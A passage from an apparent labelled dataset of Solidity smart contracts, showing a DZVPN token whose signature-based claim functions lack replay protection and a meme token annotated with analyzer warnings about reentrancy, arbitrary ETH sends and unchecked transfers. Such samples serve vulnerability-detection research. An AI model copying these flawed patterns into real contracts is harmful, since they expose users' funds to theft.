invModPrime(uint256 a, uint256 p) internal view returns (uint256) {\n unchecked {\n return Math.modExp(a, p - 2, p);\n }\n }\n\n function modExp(\n uint256 b,\n uint256 e,\n uint256 m\n ) internal view returns (uint256) {\n (bool success, uint256 result) = tryModExp(b, e, m);\n\n if (!success) {\n Panic.panic(Panic.DIVISION_BY_ZERO);\n }\n\n return result;\n }\n\n function tryModExp(\n uint256 b,\n uint256 e,\n uint256 m\n ) internal view returns (bool success, uint256 result) {\n if (m == 0) return (false, 0);\n\n assembly (\"memory-safe\") {\n let ptr := mload(0x40)\n\n mstore(ptr, 0x20)\n\n mstore(add(ptr, 0x20), 0x20)\n\n mstore(add(ptr, 0x40), 0x20)\n\n mstore(add(ptr, 0x60), b)\n\n mstore(add(ptr, 0x80), e)\n\n mstore(add(ptr, 0xa0), m)\n\n success := staticcall(gas(), 0x05, ptr, 0xc0, 0x00, 0x20)\n\n result := mload(0x00)\n }\n }\n\n function modExp(\n bytes memory b,\n bytes memory e,\n bytes memory m\n ) internal view returns (bytes memory) {\n (bool success, bytes memory result) = tryModExp(b, e, m);\n\n if (!success) {\n Panic.panic(Panic.DIVISION_BY_ZERO);\n }\n\n return result;\n }\n\n function tryModExp(\n bytes memory b,\n bytes memory e,\n bytes memory m\n ) internal view returns (bool success, bytes memory result) {\n if (_zeroBytes(m)) return (false, new bytes(0));\n\n uint256 mLen = m.length;\n\n result = abi.encodePacked(b.length, e.length, mLen, b, e, m);\n\n assembly (\"memory-safe\") {\n let dataPtr := add(result, 0x20)\n\n success := staticcall(\n gas(),\n 0x05,\n dataPtr,\n mload(result),\n dataPtr,\n mLen\n )\n\n mstore(result, mLen)\n\n mstore(0x40, add(dataPtr, mLen))\n }\n }\n\n function _zeroBytes(bytes memory byteArray) private pure returns (bool) {\n for (uint256 i = 0; i < byteArray.length; ++i) {\n if (byteArray[i] != 0) {\n return false;\n }\n }\n\n return true;\n }\n\n function sqrt(uint256 a) internal pure returns (uint256) {\n unchecked {\n if (a <= 1) {\n return a;\n }\n\n uint256 aa = a;\n\n uint256 xn = 1;\n\n if (aa >= (1 << 128)) {\n aa >>= 128;\n\n xn <<= 64;\n }\n\n if (aa >= (1 << 64)) {\n aa >>= 64;\n\n xn <<= 32;\n }\n\n if (aa >= (1 << 32)) {\n aa >>= 32;\n\n xn <<= 16;\n }\n\n if (aa >= (1 << 16)) {\n aa >>= 16;\n\n xn <<= 8;\n }\n\n if (aa >= (1 << 8)) {\n aa >>= 8;\n\n xn <<= 4;\n }\n\n if (aa >= (1 << 4)) {\n aa >>= 4;\n\n xn <<= 2;\n }\n\n if (aa >= (1 << 2)) {\n xn <<= 1;\n }\n\n xn = (3 * xn) >> 1;\n\n xn = (xn + a / xn) >> 1;\n\n xn = (xn + a / xn) >> 1;\n\n xn = (xn + a / xn) >> 1;\n\n xn = (xn + a / xn) >> 1;\n\n xn = (xn + a / xn) >> 1;\n\n xn = (xn + a / xn) >> 1;\n\n return xn - SafeCast.toUint(xn > a / xn);\n }\n }\n\n function sqrt(\n uint256 a,\n Rounding rounding\n ) internal pure returns (uint256) {\n unchecked {\n uint256 result = sqrt(a);\n\n return\n result +\n SafeCast.toUint(\n unsignedRoundsUp(rounding) && result * result < a\n );\n }\n }\n\n function log2(uint256 value) internal pure returns (uint256) {\n uint256 result = 0;\n\n uint256 exp;\n\n unchecked {\n exp = 128 * SafeCast.toUint(value > (1 << 128) - 1);\n\n value >>= exp;\n\n result += exp;\n\n exp = 64 * SafeCast.toUint(value > (1 << 64) - 1);\n\n value >>= exp;\n\n result += exp;\n\n exp = 32 * SafeCast.toUint(value > (1 << 32) - 1);\n\n value >>= exp;\n\n result += exp;\n\n exp = 16 * SafeCast.toUint(value > (1 << 16) - 1);\n\n value >>= exp;\n\n result += exp;\n\n exp = 8 * SafeCast.toUint(value > (1 << 8) - 1);\n\n value >>= exp;\n\n result += exp;\n\n exp = 4 * SafeCast.toUint(value > (1 << 4) - 1);\n\n value >>= exp;\n\n result += exp;\n\n exp = 2 * SafeCast.toUint(value > (1 << 2) - 1);\n\n value >>= exp;\n\n result += exp;\n\n result += SafeCast.toUint(value > 1);\n }\n\n return result;\n }\n\n function log2(\n uint256 value,\n Rounding rounding\n ) internal pure returns (uint256) {\n unchecked {\n uint256 result = log2(value);\n\n return\n result +\n SafeCast.toUint(\n unsignedRoundsUp(rounding) && 1 << result < value\n );\n }\n }\n\n function log10(uint256 value) internal pure returns (uint256) {\n uint256 result = 0;\n\n unchecked {\n if (value >= 10 ** 64) {\n value /= 10 ** 64;\n\n result += 64;\n }\n\n if (value >= 10 ** 32) {\n value /= 10 ** 32;\n\n result += 32;\n }\n\n if (value >= 10 ** 16) {\n value /= 10 ** 16;\n\n result += 16;\n }\n\n if (value >= 10 ** 8) {\n value /= 10 ** 8;\n\n result += 8;\n }\n\n if (value >= 10 ** 4) {\n value /= 10 ** 4;\n\n result += 4;\n }\n\n if (value >= 10 ** 2) {\n value /= 10 ** 2;\n\n result += 2;\n }\n\n if (value >= 10 ** 1) {\n result += 1;\n }\n }\n\n return result;\n }\n\n function log10(\n uint256 value,\n Rounding rounding\n ) internal pure returns (uint256) {\n unchecked {\n uint256 result = log10(value);\n\n return\n result +\n SafeCast.toUint(\n unsignedRoundsUp(rounding) && 10 ** result < value\n );\n }\n }\n\n function log256(uint256 value) internal pure returns (uint256) {\n uint256 result = 0;\n\n uint256 isGt;\n\n unchecked {\n isGt = SafeCast.toUint(value > (1 << 128) - 1);\n\n value >>= isGt * 128;\n\n result += isGt * 16;\n\n isGt = SafeCast.toUint(value > (1 << 64) - 1);\n\n value >>= isGt * 64;\n\n result += isGt * 8;\n\n isGt = SafeCast.toUint(value > (1 << 32) - 1);\n\n value >>= isGt * 32;\n\n result += isGt * 4;\n\n isGt = SafeCast.toUint(value > (1 << 16) - 1);\n\n value >>= isGt * 16;\n\n result += isGt * 2;\n\n result += SafeCast.toUint(value > (1 << 8) - 1);\n }\n\n return result;\n }\n\n function log256(\n uint256 value,\n Rounding rounding\n ) internal pure returns (uint256) {\n unchecked {\n uint256 result = log256(value);\n\n return\n result +\n SafeCast.toUint(\n unsignedRoundsUp(rounding) && 1 << (result << 3) < value\n );\n }\n }\n\n function unsignedRoundsUp(Rounding rounding) internal pure returns (bool) {\n return uint8(rounding) % 2 == 1;\n }\n}\n\nlibrary SignedMath {\n function ternary(\n bool condition,\n int256 a,\n int256 b\n ) internal pure returns (int256) {\n unchecked {\n return b ^ ((a ^ b) * int256(SafeCast.toUint(condition)));\n }\n }\n\n function max(int256 a, int256 b) internal pure returns (int256) {\n return ternary(a > b, a, b);\n }\n\n function min(int256 a, int256 b) internal pure returns (int256) {\n return ternary(a < b, a, b);\n }\n\n function average(int256 a, int256 b) internal pure returns (int256) {\n int256 x = (a & b) + ((a ^ b) >> 1);\n\n return x + (int256(uint256(x) >> 255) & (a ^ b));\n }\n\n function abs(int256 n) internal pure returns (uint256) {\n unchecked {\n int256 mask = n >> 255;\n\n return uint256((n + mask) ^ mask);\n }\n }\n}\n\nlibrary Strings {\n bytes16 private constant HEX_DIGITS = \"0123456789abcdef\";\n\n uint8 private constant ADDRESS_LENGTH = 20;\n\n error StringsInsufficientHexLength(uint256 value, uint256 length);\n\n function toString(uint256 value) internal pure returns (string memory) {\n unchecked {\n uint256 length = Math.log10(value) + 1;\n\n string memory buffer = new string(length);\n\n uint256 ptr;\n\n assembly (\"memory-safe\") {\n ptr := add(buffer, add(32, length))\n }\n\n while (true) {\n ptr--;\n\n assembly (\"memory-safe\") {\n mstore8(ptr, byte(mod(value, 10), HEX_DIGITS))\n }\n\n value /= 10;\n\n if (value == 0) break;\n }\n\n return buffer;\n }\n }\n\n function toStringSigned(\n int256 value\n ) internal pure returns (string memory) {\n return\n string.concat(\n value < 0 ? \"-\" : \"\",\n toString(SignedMath.abs(value))\n );\n }\n\n function toHexString(uint256 value) internal pure returns (string memory) {\n unchecked {\n return toHexString(value, Math.log256(value) + 1);\n }\n }\n\n function toHexString(\n uint256 value,\n uint256 length\n ) internal pure returns (string memory) {\n uint256 localValue = value;\n\n bytes memory buffer = new bytes(2 * length + 2);\n\n buffer[0] = \"0\";\n\n buffer[1] = \"x\";\n\n for (uint256 i = 2 * length + 1; i > 1; --i) {\n buffer[i] = HEX_DIGITS[localValue & 0xf];\n\n localValue >>= 4;\n }\n\n if (localValue != 0) {\n revert StringsInsufficientHexLength(value, length);\n }\n\n return string(buffer);\n }\n\n function toHexString(address addr) internal pure returns (string memory) {\n return toHexString(uint256(uint160(addr)), ADDRESS_LENGTH);\n }\n\n function toChecksumHexString(\n address addr\n ) internal pure returns (string memory) {\n bytes memory buffer = bytes(toHexString(addr));\n\n uint256 hashValue;\n\n assembly (\"memory-safe\") {\n hashValue := shr(96, keccak256(add(buffer, 0x22), 40))\n }\n\n for (uint256 i = 41; i > 1; --i) {\n if (hashValue & 0xf > 7 && uint8(buffer[i]) > 96) {\n buffer[i] ^= 0x20;\n }\n\n hashValue >>= 4;\n }\n\n return string(buffer);\n }\n\n function equal(\n string memory a,\n string memory b\n ) internal pure returns (bool) {\n return\n bytes(a).length == bytes(b).length &&\n keccak256(bytes(a)) == keccak256(bytes(b));\n }\n}\n\nlibrary MessageHashUtils {\n function toEthSignedMessageHash(\n bytes32 messageHash\n ) internal pure returns (bytes32 digest) {\n assembly (\"memory-safe\") {\n mstore(0x00, \"\\x19Ethereum Signed Message:\\n32\") // 32 is the bytes-length of messageHash\n\n mstore(0x1c, messageHash)\n\n digest := keccak256(0x00, 0x3c)\n }\n }\n\n function toEthSignedMessageHash(\n bytes memory message\n ) internal pure returns (bytes32) {\n return\n keccak256(\n bytes.concat(\n \"\\x19Ethereum Signed Message:\\n\",\n bytes(Strings.toString(message.length)),\n message\n )\n );\n }\n\n function toDataWithIntendedValidatorHash(\n address validator,\n bytes memory data\n ) internal pure returns (bytes32) {\n return keccak256(abi.encodePacked(hex\"19_00\", validator, data));\n }\n\n function toTypedDataHash(\n bytes32 domainSeparator,\n bytes32 structHash\n ) internal pure returns (bytes32 digest) {\n assembly (\"memory-safe\") {\n let ptr := mload(0x40)\n\n mstore(ptr, hex\"19_01\")\n\n mstore(add(ptr, 0x02), domainSeparator)\n\n mstore(add(ptr, 0x22), structHash)\n\n digest := keccak256(ptr, 0x42)\n }\n }\n}\n\ncontract DZVPN is ERC20, Ownable, ERC20Burnable, ReentrancyGuard {\n using ECDSA for bytes32;\n\n constructor(\n address initialOwner\n ) ERC20(\"DZVPN\", \"DZVPN\") Ownable(initialOwner) {\n _mint(msg.sender, 1000000000 * 10 ** decimals());\n }\n\n function mint(address to, uint256 amount) public onlyOwner {\n _mint(to, amount);\n }\n\n function verifySignature(\n address user,\n uint256 amount,\n bytes memory signature\n ) public view returns (bool) {\n bytes32 message = keccak256(abi.encodePacked(user, amount));\n\n bytes32 ethSignedMessage = MessageHashUtils.toEthSignedMessageHash(\n message\n );\n\n return ECDSA.recover(ethSignedMessage, signature) == owner();\n }\n\n function claimReward(\n uint256 amount,\n bytes memory signature\n ) public nonReentrant {\n require(\n verifySignature(msg.sender, amount, signature),\n \"Invalid signature\"\n );\n\n require(amount > 0, \"Amount must be greater than zero\");\n\n require(\n balanceOf(owner()) >= amount,\n \"Not enough tokens in the reserve\"\n );\n\n _transfer(owner(), msg.sender, amount);\n }\n\n function claimETH(\n uint256 amount,\n bytes memory signature\n ) public nonReentrant {\n require(\n verifySignature(msg.sender, amount, signature),\n \"Invalid signature\"\n );\n\n require(amount > 0, \"Amount must be greater than zero\");\n\n require(\n address(this).balance >= amount,\n \"Not enough ETH in the contract\"\n );\n\n payable(msg.sender).transfer(amount);\n }\n\n function getContractBalance() public view returns (uint256) {\n return address(this).balance;\n }\n\n receive() external payable {}\n}\n",
"file_name": "solidity_code_10230.sol",
"size_bytes": 52583,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n\n function transferOwnership(address newOwner) public virtual onlyOwner {\n require(\n newOwner != address(0),\n \"Ownable: new owner is the zero address\"\n );\n\n emit OwnershipTransferred(_owner, newOwner);\n\n _owner = newOwner;\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract AUTISM is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private isExile;\n\n mapping(address => bool) public marketPair;\n\n mapping(uint256 => uint256) private perBuyCount;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 88d29cb): AUTISM._taxWallet should be immutable \n\t// Recommendation for 88d29cb: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n uint256 private firstBlock = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 2a15d8e): AUTISM._initialBuyTax should be constant \n\t// Recommendation for 2a15d8e: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 18;\n\n\t// WARNING Optimization Issue (constable-states | ID: 3d2f1b3): AUTISM._initialSellTax should be constant \n\t// Recommendation for 3d2f1b3: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 18;\n\n\t// WARNING Optimization Issue (constable-states | ID: 4b01989): AUTISM._finalBuyTax should be constant \n\t// Recommendation for 4b01989: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalBuyTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 7ec2595): AUTISM._finalSellTax should be constant \n\t// Recommendation for 7ec2595: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 52b40f7): AUTISM._reduceBuyTaxAt should be constant \n\t// Recommendation for 52b40f7: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 18;\n\n\t// WARNING Optimization Issue (constable-states | ID: 37efa89): AUTISM._reduceSellTaxAt should be constant \n\t// Recommendation for 37efa89: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 18;\n\n\t// WARNING Optimization Issue (constable-states | ID: a75d7fb): AUTISM._preventSwapBefore should be constant \n\t// Recommendation for a75d7fb: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 18;\n\n uint256 private _buyCount = 0;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 420690000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"Please Be Patient I Have Autism\";\n\n string private constant _symbol = unicode\"AUTISM\";\n\n uint256 public _maxTxAmount = 8413800000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 8413800000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: d459c4b): AUTISM._taxSwapThreshold should be constant \n\t// Recommendation for d459c4b: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 8413800000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 2e07231): AUTISM._maxTaxSwap should be constant \n\t// Recommendation for 2e07231: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 8413800000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (immutable-states | ID: cc1015c): AUTISM.uniswapV2Router should be immutable \n\t// Recommendation for cc1015c: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n IUniswapV2Router02 private uniswapV2Router;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 5c9f834): AUTISM.uniswapV2Pair should be immutable \n\t// Recommendation for 5c9f834: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public uniswapV2Pair;\n\n bool private tradingOpen;\n\n\t// WARNING Optimization Issue (constable-states | ID: 5efef9f): AUTISM.sellsPerBlock should be constant \n\t// Recommendation for 5efef9f: Add the 'constant' attribute to state variables that never change.\n uint256 private sellsPerBlock = 3;\n\n\t// WARNING Optimization Issue (constable-states | ID: d82f36b): AUTISM.buysFirstBlock should be constant \n\t// Recommendation for d82f36b: Add the 'constant' attribute to state variables that never change.\n uint256 private buysFirstBlock = 15;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(_msgSender());\n\n _balances[_msgSender()] = _tTotal;\n\n isExile[owner()] = true;\n\n isExile[address(this)] = true;\n\n isExile[address(uniswapV2Pair)] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n marketPair[address(uniswapV2Pair)] = true;\n\n isExile[address(uniswapV2Pair)] = true;\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: b87ba6c): AUTISM.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for b87ba6c: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 01fb7c3): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 01fb7c3: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 4c63e36): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 4c63e36: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 01fb7c3\n\t\t// reentrancy-benign | ID: 4c63e36\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 01fb7c3\n\t\t// reentrancy-benign | ID: 4c63e36\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: da231fe): AUTISM._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for da231fe: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 4c63e36\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 01fb7c3\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: ebbfde0): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for ebbfde0: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (incorrect-equality | severity: Medium | ID: 0d9a0e9): AUTISM._transfer(address,address,uint256) uses a dangerous strict equality block.number == firstBlock\n\t// Recommendation for 0d9a0e9: Don't use strict equality to determine if an account has enough Ether or tokens.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: cfb8eef): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for cfb8eef: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 1aaf524): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 1aaf524: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner()) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n\t\t\t// incorrect-equality | ID: 0d9a0e9\n if (block.number == firstBlock) {\n require(\n perBuyCount[block.number] < buysFirstBlock,\n \"Exceeds buys on the first block.\"\n );\n\n perBuyCount[block.number]++;\n }\n\n if (\n marketPair[from] &&\n to != address(uniswapV2Router) &&\n !isExile[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n _buyCount++;\n }\n\n if (!marketPair[to] && !isExile[to]) {\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n }\n\n if (marketPair[to] && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n if (!marketPair[from] && !marketPair[to] && from != address(this)) {\n taxAmount = 0;\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n marketPair[to] &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < sellsPerBlock);\n\n\t\t\t\t// reentrancy-events | ID: ebbfde0\n\t\t\t\t// reentrancy-eth | ID: cfb8eef\n\t\t\t\t// reentrancy-eth | ID: 1aaf524\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: ebbfde0\n\t\t\t\t\t// reentrancy-eth | ID: cfb8eef\n\t\t\t\t\t// reentrancy-eth | ID: 1aaf524\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: 1aaf524\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: 1aaf524\n lastSellBlock = block.number;\n } else if (\n !inSwap &&\n marketPair[to] &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n\t\t\t\t// reentrancy-events | ID: ebbfde0\n\t\t\t\t// reentrancy-eth | ID: cfb8eef\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: ebbfde0\n\t\t\t\t\t// reentrancy-eth | ID: cfb8eef\n sendETHToFee(address(this).balance);\n }\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: cfb8eef\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: ebbfde0\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: cfb8eef\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: cfb8eef\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: ebbfde0\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: ebbfde0\n\t\t// reentrancy-events | ID: 01fb7c3\n\t\t// reentrancy-benign | ID: 4c63e36\n\t\t// reentrancy-eth | ID: cfb8eef\n\t\t// reentrancy-eth | ID: 1aaf524\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 083ddea): AUTISM.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for 083ddea: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: ebbfde0\n\t\t// reentrancy-events | ID: 01fb7c3\n\t\t// reentrancy-eth | ID: cfb8eef\n\t\t// reentrancy-eth | ID: 1aaf524\n\t\t// arbitrary-send-eth | ID: 083ddea\n _taxWallet.transfer(amount);\n }\n\n function rescueETH() external {\n require(_msgSender() == _taxWallet);\n\n payable(_taxWallet).transfer(address(this).balance);\n }\n\n\t// WARNING Vulnerability (unchecked-transfer | severity: High | ID: d1ce25f): AUTISM.rescueTokens(address,uint256) ignores return value by IERC20(_tokenAddr).transfer(_taxWallet,_amount)\n\t// Recommendation for d1ce25f: Use 'SafeERC20', or ensure that the 'transfer'/'transferFrom' return value is checked.\n function rescueTokens(address _tokenAddr, uint _amount) external {\n require(_msgSender() == _taxWallet);\n\n\t\t// unchecked-transfer | ID: d1ce25f\n IERC20(_tokenAddr).transfer(_taxWallet, _amount);\n }\n\n function isNotRestricted() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 56af650): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 56af650: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 1062ae5): AUTISM.enableTrading() ignores return value by 